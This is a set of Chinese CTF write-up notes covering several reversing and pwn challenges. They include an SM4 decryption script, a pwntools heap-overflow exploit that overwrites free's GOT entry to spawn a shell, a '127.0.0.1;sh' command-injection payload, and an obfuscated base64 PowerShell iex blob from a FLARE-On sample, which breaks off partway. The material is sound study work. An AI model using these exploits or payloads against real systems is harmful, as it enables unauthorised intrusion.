0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
0x33, 0x33, 0x33, 0x33, ]
import itertools as it
import string
from hashlib import md5
prefix=bytes([50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51])
data=string.printable
flag=''
for i in range(32):
for j in data:
if md5(md5(prefix+j.encode()).hexdigest().encode()).hexdigest()==bytes(a[i*33:i*33+32]).decode():
print(j)
flag+=j
break
print(flag)
xman{99754106633f94d350db34d548}
论文链接 http://html.rhhz.net/ZGKXYDXXB/20180205.htm
https://www.anquanke.com/post/id/193939#h3-22
近年来avx2一直被用于分组密码的加速中
sub_1911AE判断输入长度是64
sub_411122为check函数,所以sub_4122A0中就是把操作后的数据放入check函数中,然后和dword_54E000开始的一些数据比较,相等就是flag
这一块
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov eax, [ebp-8Ch]
shl eax, 2
mov ecx, [ebx+8]
lea edx, [ecx+eax*4]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [eax]
vpxor ymm0, ymm0, ymmword ptr [ebp-40h]
mov ecx, [ebx+0Ch]
vmovdqu ymmword ptr [ecx], ymm0
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov eax, [ebp-8Ch]
shl eax, 2
mov ecx, [ebx+8]
lea edx, [ecx+eax*4+4]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [eax]
vpxor ymm0, ymm0, ymmword ptr [ebp-40h]
mov ecx, [ebx+10h]
vmovdqu ymmword ptr [ecx], ymm0
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov eax, [ebp-8Ch]
shl eax, 2
mov ecx, [ebx+8]
lea edx, [ecx+eax*4+8]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [eax]
vpxor ymm0, ymm0, ymmword ptr [ebp-40h]
mov ecx, [ebx+14h]
vmovdqu ymmword ptr [ecx], ymm0
vmovdqu ymm0, ymmword ptr [ebp-80h]
mov eax, [ebp-8Ch]
shl eax, 2
mov ecx, [ebx+8]
lea edx, [ecx+eax*4+0Ch]
vpcmpeqb ymm1, ymm1, ymm1
vpgatherdd ymm2, dword ptr [edx+ymm0*4], ymm1
vmovdqu ymmword ptr [ebp-40h], ymm2
mov eax, [ebx+14h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+10h]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+0Ch]
vmovdqu ymm0, ymmword ptr [ebp-40h]
vpxor ymm0, ymm0, ymmword ptr [eax]
vmovdqu ymmword ptr [ebp-40h], ymm0
vmovdqu ymm0, ymmword ptr [ebp-40h]
call sub_411212
vmovdqu ymmword ptr [ebp-40h], ymm0
mov eax, [ebx+18h]
vmovdqu ymm0, ymmword ptr [eax]
vpxor ymm0, ymm0, ymmword ptr [ebp-40h]
mov ecx, [ebx+18h]
vmovdqu ymmword ptr [ecx], ymm0
看起来就像分组加密
vpcmpeqb指令
VPCMPEQB (VEX.256 encoded version)
DEST[127:0] ←COMPARE_BYTES_EQUAL(SRC1[127:0],SRC2[127:0])
DEST[255:128] ←COMPARE_BYTES_EQUAL(SRC1[255:128],SRC2[255:128])
DEST[MAXVL-1:256] ← 0
COMPARE_WORDS_EQUAL (SRC1, SRC2) ¶
IF SRC1[15:0] = SRC2[15:0]
THEN DEST[15:0]←FFFFH;
ELSE DEST[15:0]←0; FI;
(* Continue comparison of 2nd through 7th 16-bit words in SRC1 and SRC2 *)
IF SRC1[127:112] = SRC2[127:112]
THEN DEST[127:112]←FFFFH;
ELSE DEST[127:112]←0; FI;
就是比较两个寄存器是否相等,如果相等则置-1
vpgatherdd
MASK[MAXVL-1:256] ← 0;
FOR j←0 to 7
i←j * 32;
IF MASK[31+i] THEN
MASK[i +31:i]←FFFFFFFFH; // extend from most significant bit
ELSE
MASK[i +31:i]←0;
FI;
ENDFOR
FOR j←0 to 7
i←j * 32;
DATA_ADDR←BASE_ADDR + (SignExtend(VINDEX1[i+31:i])*SCALE + DISP;
IF MASK[31+i] THEN
DEST[i +31:i]←FETCH_32BITS(DATA_ADDR); // a fault exits the instruction
FI;
MASK[i +31:i]←0;
ENDFOR
DEST[MAXVL-1:256] ← 0;
获取数据
调试一下,跳转到edx,可以看到轮密钥,
在轮密钥地址下断点,可以找到产生轮密钥函数sub_1925D0
网上找一份sm4源码实现,发现key就是
dword_2CE230 dd 67452301h, 0EFCDAB89h, 98BADCFEh, 10325476h
生成源码轮密钥的地方是
int sub_192AF0()
{
__CheckForDebuggerJustMyCode(&unk_2D0019);
sub_1910DC();
sub_191136(&dword_2CE800, dword_2CE230);
return j__atexit(sub_192C60);
}
然后就可以解密了
from sm4 import SM4Key
import sm4
key=b'\x01#Eg\x89\xab\xcd\xef\xfe\xdc\xba\x98vT2\x10'
key0 = SM4Key(key)
data=[0x3a,0x19,0xac,0xb0,0xa6,0x4e,0xb0,0x6c,0xf8,0x20,0x0f,0x50,0xbb,0xaf,0xd2,0xf5,0x04,0x8e,0x39,0x70,0xb1,0xdd,0x44,0x26,0xa0,0x73,0x87,0x9d,0x15,0xdb,0x69,0x25,0x3a,0x27,0x16,0xb6,0x8a,0xf7,0x67,0x43,0x3b,0x82,0xac,0x26,0x34,0x8f,0x40,0x54,0xad,0x7f,0x3b,0x4d,0xbb,0x8e,0x7b,0xf6,0x18,0x8d,0x55,0x73,0xa5,0xf1,0x7e,0xca]
r=key0.decrypt(bytes(data))
print(r)
列出所有函数,其中有个很奇怪的名字l33t
[0x00400c34]> afl
0x00400790 1 41 entry0
0x00400730 1 6 sym.imp.__libc_start_main
0x004007c0 4 50 -> 41 sym.deregister_tm_clones
0x00400800 4 58 -> 55 sym.register_tm_clones
0x00400840 3 28 sym.__do_global_dtors_aux
0x00400860 4 38 -> 35 entry.init0
0x00400931 10 278 sym.create_heap
0x00400dc0 1 2 sym.__libc_csu_fini
0x00400c23 1 17 sym.l33t
0x00400700 1 6 sym.imp.system
0x004008cb 1 102 sym.menu
0x004006e0 1 6 sym.imp.puts
0x00400710 1 6 sym.imp.printf
0x00400dc4 1 9 sym._fini
0x00400b53 9 208 sym.delete_heap
0x00400d50 4 101 sym.__libc_csu_init
0x00400c34 18 274 main
0x00400690 3 26 sym._init
0x00400780 1 6 sym..plt.got
0x00400886 3 69 sym.read_input
0x00400720 1 6 sym.imp.read
0x004006d0 1 6 sym.imp._exit
0x00400a47 9 268 sym.edit_heap
0x004006c0 1 6 sym.imp.free
0x004006f0 1 6 sym.imp.__stack_chk_fail
0x00400740 1 6 sym.imp.malloc
0x00400750 1 6 sym.imp.setvbuf
0x00400760 1 6 sym.imp.atoi
0x00400770 1 6 sym.imp.exit
看看是啥
[0x00400c34]> s sym.l33t
[0x00400c23]> pdf
; CALL XREF from main @ 0x400d23
/ 17: sym.l33t ();
| 0x00400c23 55 push rbp
| 0x00400c24 4889e5 mov rbp, rsp
| 0x00400c27 bf490f4000 mov edi, str.cat__home_pwn_flag ; 0x400f49 ; "cat /home/pwn/flag" ; const char *string
| 0x00400c2c e8cffaffff call sym.imp.system ; int system(const char *string)
| 0x00400c31 90 nop
| 0x00400c32 5d pop rbp
\ 0x00400c33 c3 ret
原来是方便获取flag的
看一下main函数,经典的switch-case结构,菜单如下
[0x00400c34]> s sym.menu
[0x004008cb]> pdf
; CALL XREF from main @ 0x400c8c
/ 102: sym.menu ();
| 0x004008cb 55 push rbp
| 0x004008cc 4889e5 mov rbp, rsp
| 0x004008cf bfe00d4000 mov edi, str.________________________________ ; 0x400de0 ; "--------------------------------" ; const char *s
| 0x004008d4 e807feffff call sym.imp.puts ; int puts(const char *s)
| 0x004008d9 bf080e4000 mov edi, str._______Easy_Heap_Creator_______ ; 0x400e08 ; " Easy Heap Creator " ; const char *s
| 0x004008de e8fdfdffff call sym.imp.puts ; int puts(const char *s)
| 0x004008e3 bfe00d4000 mov edi, str.________________________________ ; 0x400de0 ; "--------------------------------" ; const char *s
| 0x004008e8 e8f3fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004008ed bf280e4000 mov edi, str._1._Create_a_Heap_______________ ; 0x400e28 ; " 1. Create a Heap " ; const char *s
| 0x004008f2 e8e9fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004008f7 bf500e4000 mov edi, str._2._Edit_a_Heap_________________ ; 0x400e50 ; " 2. Edit a Heap " ; const char *s
| 0x004008fc e8dffdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400901 bf780e4000 mov edi, str._3._Delete_a_Heap_______________ ; 0x400e78 ; " 3. Delete a Heap " ; const char *s
| 0x00400906 e8d5fdffff call sym.imp.puts ; int puts(const char *s)
| 0x0040090b bfa00e4000 mov edi, str._4._Exit________________________ ; 0x400ea0 ; " 4. Exit " ; const char *s
| 0x00400910 e8cbfdffff call sym.imp.puts ; int puts(const char *s)
| 0x00400915 bfe00d4000 mov edi, str.________________________________ ; 0x400de0 ; "--------------------------------" ; const char *s
| 0x0040091a e8c1fdffff call sym.imp.puts ; int puts(const char *s)
| 0x0040091f bfc10e4000 mov edi, str.Your_choice_: ; 0x400ec1 ; "Your choice :" ; const char *format
| 0x00400924 b800000000 mov eax, 0
| 0x00400929 e8e2fdffff call sym.imp.printf ; int printf(const char *format)
| 0x0040092e 90 nop
| 0x0040092f 5d pop rbp
\ 0x00400930 c3 ret
逐个功能函数查看
创建
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
heaparray[i] = (char *)malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
编辑
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
没有判断堆边界,存在溢出漏洞
删除
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
置0了,不存在UAF
所以就是利用编辑的溢出漏洞
https://www.cnblogs.com/luoleqi/p/12395985.html
from pwn import *
# p = process('./easyheap')
p = remote('node4.buuoj.cn',25587)
elf =ELF('./easyheap')
# context.log_level = 'debug'
def create(size,content):
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Size of Heap : ')
p.send(str(size).encode())
p.recvuntil(b'Content of heap:')
p.send(content)
def edit(index,size,content):
p.recvuntil(b'Your choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
p.recvuntil(b'Size of Heap : ')
p.send(str(size).encode())
p.recvuntil('Content of heap : ')
p.send(content)
def free(index):
p.recvuntil(b'Your choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
free_got = elf.got['free']
create(0x68,b'aaaa')
create(0x68,b'bbbb')
create(0x68,b'cccc')
free(2)
#gdb.attach(p)
payload = b'/bin/sh\x00' + b'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
create(0x68,b'aaaa')
create(0x68,b'c')
payload = b'\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(0x400700)
edit(0,len(payload),payload)
free(1)
p.interactive()
查看主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-74h] BYREF
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
char dest[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v7; // [rsp+28h] [rbp-58h]
int v8; // [rsp+30h] [rbp-50h]
char v9; // [rsp+34h] [rbp-4Ch]
char v10[56]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v11; // [rsp+78h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
*(_QWORD *)dest = ' gnip';
v7 = 0LL;
v8 = 0;
v9 = 0;
v4 = 0;
puts("Welcome to BJDCTF router test program! ");
while ( 1 )
{
menu();
puts("Please input u choose:");
v4 = 0;
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
puts("Please input the ip address:");
read(0, buf, 0x10uLL);
strcat(dest, buf);
system(dest);
puts("done!");
break;
case 2:
puts("bibibibbibibib~~~");
sleep(3u);
puts("ziziizzizi~~~");
sleep(3u);
puts("something wrong!");
puts("Test done!");
break;
case 3:
puts("Please input what u want to say");
puts("Your suggest will help us to do better!");
read(0, v10, 58uLL);
printf("Dear ctfer,your suggest is :%s", v10);
break;
case 4:
puts("Hey guys,u think too much!");
break;
case 5:
puts("Good Bye!");
exit(-1);
default:
puts("Functional development!");
break;
}
}
}
1的时候存在命令注入,3中存在溢出两个字节,但是开头读取了canary。
payload
127.0.0.1;sh
先写个IDA脚本找到最终函数
import ida_bytes as ib
start=0x403690
while ib.get_byte(start)==0xe9:
start=ib.get_dword(start+1)+start+5&0xffffffff
print(hex(start),hex(ib.get_byte(start)))
深度调用映射如下
403660->4023d0
403690->4027e0
4036a0->4084e0
int sub_4027E0()
{
int v0; // eax
int v1; // esi
int v3; // [esp+8h] [ebp-100Ch] BYREF
LPCSTR lpText; // [esp+Ch] [ebp-1008h]
CHAR Text[4096]; // [esp+10h] [ebp-1004h] BYREF
v3 = 1;
lpText = ".manifest";
v0 = sub_403660();
v1 = v0;
if ( v0 >= 0 )
return 1;
if ( v0 == 0x80070002 )
{
sub_401113(&v3, &unk_43F2B8);
MessageBoxA(0, lpText, "Error", 0);
}
else
{
sub_401113(&v3, &unk_43F360);
_snprintf_s(Text, 0x1000u, 0xFFFu, lpText, v1);
MessageBoxA(0, Text, "Error", 0);
}
return 0;
}
然后根据字符串中的一段html字符串交叉引用到
int __cdecl sub_407D30(int a1)
{//...
dwBytes = 2520;
v1 = 0;
*(_QWORD *)lpWideCharStr = 0i64;
v2 = GetProcessHeap();
v3 = HeapAlloc(v2, 8u, 0x9D8u);
if ( !v3 )
return 8;
LABEL_3:
while ( 2 )
{
v21 = 0i64;
v5 = 0;
v6 = 0;
v19 = 0;
while ( 1 )
{
if ( v1 )
{
v7 = GetProcessHeap();
HeapFree(v7, 0, v1);
}
v1 = 0;
Block = 0;
lpWideCharStr[0] = 0;
lpWideCharStr[1] = 0;
memset(v3, 0, dwBytes);
v8 = dword_45BE64(a1, v6, v5, 0, v3, dwBytes, &v20, 0);
v9 = v8;
if ( !v8 )
break;
if ( v8 != 234 )
{
if ( v8 != 1229 || !v6 && !v19 )
goto LABEL_20;
goto LABEL_3;
}
v5 = v3[5];
v6 = v3[4];
v19 = v5;
dwBytes = v20;
v16 = GetProcessHeap();
HeapFree(v16, 0, v3);
v17 = GetProcessHeap();
v3 = HeapAlloc(v17, 8u, dwBytes);
if ( !v3 )
return 8;
}
if ( v3[9] == 4 )
{
if ( sub_401073(v3[18], &Block) )
{
v11 = 0;
v12 = sub_4010D7((int)lpWideCharStr[0], lpWideCharStr[1]);
v13 = (void *)v12;
if ( v12 )
{
v9 = sub_4010AF(a1, v3, 200, "OK", v12 + 16);
v11 = 1;
free(v13);
}
if ( Block )
free(Block);
v1 = 0;
lpWideCharStr[0] = 0;
lpWideCharStr[1] = 0;
if ( v11 )
goto LABEL_19;
}
else
{
v1 = Block;
}
v10 = sub_4010AF(a1, v3, 403, "OK", off_45A1B4);
}
else
{
v10 = sub_4010AF(a1, v3, 503, "Not Implemented", 0);
}
v9 = v10;
LABEL_19:
if ( !v9 )
continue;
break;
}
LABEL_20:
v14 = GetProcessHeap();
HeapFree(v14, 0, v3);
if ( v1 )
{
v15 = GetProcessHeap();
HeapFree(v15, 0, v1);
}
return v9;
}
访问之后是个字符画
beep_0是get_proc_address
看看4023d0
int sub_4023D0()
{
//...
v25 = 0;
v0 = 0;
v23 = 0;
v1 = 0;
v22 = 0;
v21 = 0;
cchWideChar = 0;
v17 = 1;
FileName = "wininet.dll";
v11 = 1;
Duration = (unsigned int)"InternetOpenA";
v13 = 1;
v14 = L"Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile"
"/12A4345d Safari/600.1.4";
v15 = 1;
v16 = L"POST";
v19 = 1;
v20 = L"https://www.windowsupdate.com/upd";
v2 = (CHAR *)sub_40103C(&unk_44C000, dword_4568E0, &cchWideChar);
if ( v2 )
{
v3 = (const CHAR *)realloc(v2, cchWideChar + 1);
if ( v3 )
{
v2 = (CHAR *)v3;
v3[cchWideChar] = 0;
v4 = MultiByteToWideChar(1u, 0, v3, -1, 0, 0);
cchWideChar = v4;
if ( v4 )
{
v10 = 2 * v4;
v5 = GetProcessHeap();
v6 = (WCHAR *)HeapAlloc(v5, 8u, v10);
v0 = v6;
if ( v6 )
{
v23 = MultiByteToWideChar(1u, 0, v2, -1, v6, cchWideChar);
if ( v23 )
{
wcsncpy_s(Destination, 0x105u, L"M:\\whiskey_tango_flareon.dll", 0x104u);
sub_401113((int)&v17, (int)&unk_43F5E4);
sub_401113((int)&v11, (int)&unk_43F5F4);
cchWideChar = sub_403650((int)&dword_45B9C0, FileName, Duration);
if ( cchWideChar )
{
v1 = 0;
}
else
{
sub_40107D(&v13, &unk_43F60C);
v1 = dword_45B9C0(v14, 0, 0, &unk_43EEAC, &unk_43F61C, &v25);
if ( v1 >= 0 )
{
v1 = (*(int (__stdcall **)(int))(*(_DWORD *)v25 + 12))(v25);
if ( v1 >= 0 )
{
v21 = 1;
v22 = sub_403640();
if ( v22 )
{
sub_40107D(&v15, &unk_43F630);
sub_40107D(&v19, &unk_43F640);
v1 = (*(int (__stdcall **)(int, wchar_t *, const wchar_t *, const wchar_t *, WCHAR *, int *))(*(_DWORD *)v25 + 44))(
v25,
Destination,
v16,
v20,
v0,
&v23);
}
}
}
}
}
}
}
}
}
v7 = v25;
if ( v25 )
{
if ( v21 )
{
(*(void (__stdcall **)(int))(*(_DWORD *)v25 + 16))(v25);
v7 = v25;
}
(*(void (__stdcall **)(int))(*(_DWORD *)v7 + 8))(v7);
v25 = 0;
}
if ( v22 )
sub_40105A();
if ( v0 )
{
v8 = GetProcessHeap();
HeapFree(v8, 0, v0);
}
if ( v2 )
free(v2);
sub_4010CD();
return v1;
}
好像加载了一个dll,调一下
dword_45B9C0变成了CorBindToRuntimeEx
原来是加载了.net库
又看了一下 https://juejin.cn/post/6844903843566714888
找一下内存中的dll文件
open('embedded_pe.bin', 'wb').write(GetManyBytes(0x458AB0, 0x1200))
脱进dnspy
using System;
using System.Collections.ObjectModel;
using System.IO;
using System.Management.Automation;
using System.Security.Cryptography;
using System.Text;
namespace flareon
{
// Token: 0x02000002 RID: 2
public class four
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static string Decrypt2(byte[] cipherText, string key)
{
byte[] bytes = Encoding.UTF8.GetBytes(key);
byte[] array = new byte[16];
byte[] iv = array;
string result = null;
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
rijndaelManaged.Key = bytes;
rijndaelManaged.IV = iv;
ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV);
using (MemoryStream memoryStream = new MemoryStream(cipherText))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
// Token: 0x06000002 RID: 2 RVA: 0x00002164 File Offset: 0x00000364
public static int Smth(string arg)
{
using (PowerShell powerShell = PowerShell.Create())
{
try
{
byte[] cipherText = Convert.FromBase64String(arg);
string script = four.Decrypt2(cipherText, "soooooo_sorry_zis_is_not_ze_flag");
powerShell.AddScript(script);
Collection<PSObject> collection = powerShell.Invoke();
foreach (PSObject value in collection)
{
Console.WriteLine(value);
}
}
catch (Exception ex)
{
Console.WriteLine("Exception received");
}
}
return 0;
}
}
}
可以看到了一段执行的解密的powershell脚本
刚刚调试好像看到了一段base64字符串,dump出来,解密
################################################################
# Welcome to the 2017 FLARE-ON Challenge mega-script. Have fun!
################################################################################
Set-StrictMode -Version 2.0
$logo = @"
--------------------------------------------------------------------
_a,
_W#m,
_Wmmmm/
BmmBmmBmm[ Bmm a#mmmmmB/ BmmBmmBm6a 3BmmBmmBm
mmm[ mmm j##mmmmmmm6 mmm -4mm[ 3mm[
mBmLaaaa, Bmm JW#mmP 4mmmmL mmBaaaa#mm' 3Bm6aaaa,
mmmP!!"?' mmm JWmmmP 4mmmBL Bmm!4X##" 3mmP????'
Bmm[ Bmmaaaaa jWmmm? 4mmmBL mmm !##L, 3BmLaasaa
mmm[ mmm##Z#Z _jWmmmmaaaaaa,]mBmm6. mmB "#Bm/ 3mmm#UZ#Z
_WBmmmmm#Z#Z#! "mmmBm,
??!??#mmmm#! "??!??
.JmmmP'
_jmmP'
_JW?'
"?
--------------------------------------------------------------------
Welcome to FLARE Single-User Dungeon v2.4 - Escape Room
--------------------------------------------------------------------
"@
################################################################################
# Graeber + Dbo = Graebo? Dber?
################################################################################
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(
"U0VULWl0RW0gIHZhUklhYkxFOlM1MiAgKCBbdHlwRV0oICdSdU5UaScgICsgICdtZS5JTlRFUm9"+`
"wc2VSJyAgKydWSUMnKydFUy5DYWxsJyAgKyAgJ0lOR0MnKydvblZFTlRpTycrICAnbicgICkgIC"+`
"kgICA7ICAgICAgJHFWZGphWiAgID0gIFtUeVBFXSggICdyJyArJ1VuVElNRS5JJysgJ050ZScrI"+`
"CAnUk8nICArICAnUCcgKyAgJ1NlcnZpY2VzJyArICcuY2gnKyAgJ0Fyc0V0Jyk7ICAgICRIMDZi"+`
"R2YgID0gW3R5cGVdKCAncnVudElNRS5pbicrICd0JyAgKyAnRXJvUCcgKyAnc2VyVicgICsnaSc"+`
"gICsgJ2NFJysncy5kTCcrJ0xpTVBPUnRBJyAgKyAnVFRySWJVVEUnICApIDsgZnVuY3Rpb24gR2"+`
"VUYC1gQ3VTdE9gbWBBVFRyIHsgJHtkYGxMfSAgPSAgJHthYFJnU31bMF0gIDsgICAke0ZVYE5jf"+`
"SA9ICAke2FgUmdzfVsxXSA7ICAgJHtTZWBUYExhU3R9ICA9ICR7QWBSZ1N9WzJdICA7ICR7ZklF"+`
"bERhYFJgUmBBeX0gID0gIFtSZWZsZWN0aW9uLkZpZWxkSW5mb1tdXSBAKCAgKCAgIENoaWxEaXR"+`
"FTSAgKCAgIlZBUklBQkxFOiIgKyAgImgwNiIgKyAiQkciICsiZiIgKSApLlZBbFVFLiggICJ7MX"+`
"17Mn17MH0iLWYnbGQnLCdHZScsJ3RGaWUnICApLkludm9rZSggKCgiezB9ezJ9ezF9Ii1mICdFb"+`
"icsKCAneScgICsgICdQbycpLCd0cicgKSArICAnaW4nICArICd0JykpLCAgICRIMDZiR2YuKCJ7"+`
"Mn17MX17MH0iLWYnZCcsJ2VsJywnR2V0RmknICApLkludm9rZSggKCdQJyAgKydyJyArICAoICJ"+`
"7MH17MX0iIC1mICggJ2VzJyArICAoICJ7MH17MX0iLWYgJ2VyJywndmUnKSAgKSwoJ1MnKydpZy"+`
"cgICkgKSApKSwgICggICB2YVJJQWJMRSAgSDA2QkdmICAgICkuVmFMVUUuKCAgInsyfXswfXsxf"+`
"SItZiAnbCcsJ2QnLCdHZXRGaWUnKS5JbnZva2UoICgnUycgKyAgKCAiezB9ezF9Ii1mKCAgJ2Un"+`
"ICArJ3RMJyAgKyAgJ2FzdCcgICksJ0UnICkgKyAgJ3JyJyAgKyAnb3InKSAgKSwgICAkSDA2Ykd"+`
"mLigiezB9ezF9Ii1mICdHZXRGaWUnLCdsZCcgKS5JbnZva2UoKCAgJ0MnICArICAoICAiezB9ez"+`
"F9IiAtZiggICggInswfXsxfSIgLWYgJ2EnLCdsbGknKSAgKyduJysgICdnJyAgKSwnQycgICkrK"+`
"CAiezF9ezB9Ii1mKCAgJ252ZScrJ24nKSwnbycgKSArJ3QnICArJ2lvJysnbicgICkgKSwgICAo"+`
"ICBHRVQtdkFySWFCTEUgSDA2YkdGKS5WYUx1RS4oICAiezJ9ezB9ezF9Ii1mICd0JywnRmllbGQ"+`
"nLCdHZScgKS5JbnZva2UoKCAgKCAiezF9ezB9Ii1mKCAnaCcgKydhcicgICksJ0MnKSAgKyggJ1"+`
"MnKyAgJ2V0JyAgKSAgKSkpICA7ICR7RmBpYGVMRFZBbFVgZVN9ID0gW09iamVjdFtdXSBAKCAke"+`
"2ZgdU5DfSwgJHtUYFJVZX0sICR7c2BlYFRsYXNUfSwgICAoZ0VULVZhUmlBYmxFIFM1MiApLlZB"+`
"bHVlOjoid2BJbmFQSSIsICAoZ2V0LXZBUmlhQmxlICgnUXZkakEnICsgICdaJyApICAtdkFMdWV"+`
"vICApOjoidWBOaUNgT2RlIiApOyAgICR7RGBsbGltUE9SYFRgQ2BPTnNgVGBSdUNUb3J9ID0gIC"+`
"ggICAgRGlyIHZBUmlhYmxFOmgwNkJHZikudkFMVUUuImdFYFRjb05gU1RyYFVjdGBvUiIoQChbU"+`
"3RyaW5nXSAgKSk7ICR7QWBUVFJ9ICAgPSAgLiAoInsyfXsxfXswfSItZidjdCcsJ09iamUnLCdu"+`
"ZXctJyApICggIns3fXs1fXsyfXswfXs0fXs2fXszfXsxfXs4fSIgLWYnQ3VTVG9tYXRUJywnZSc"+`
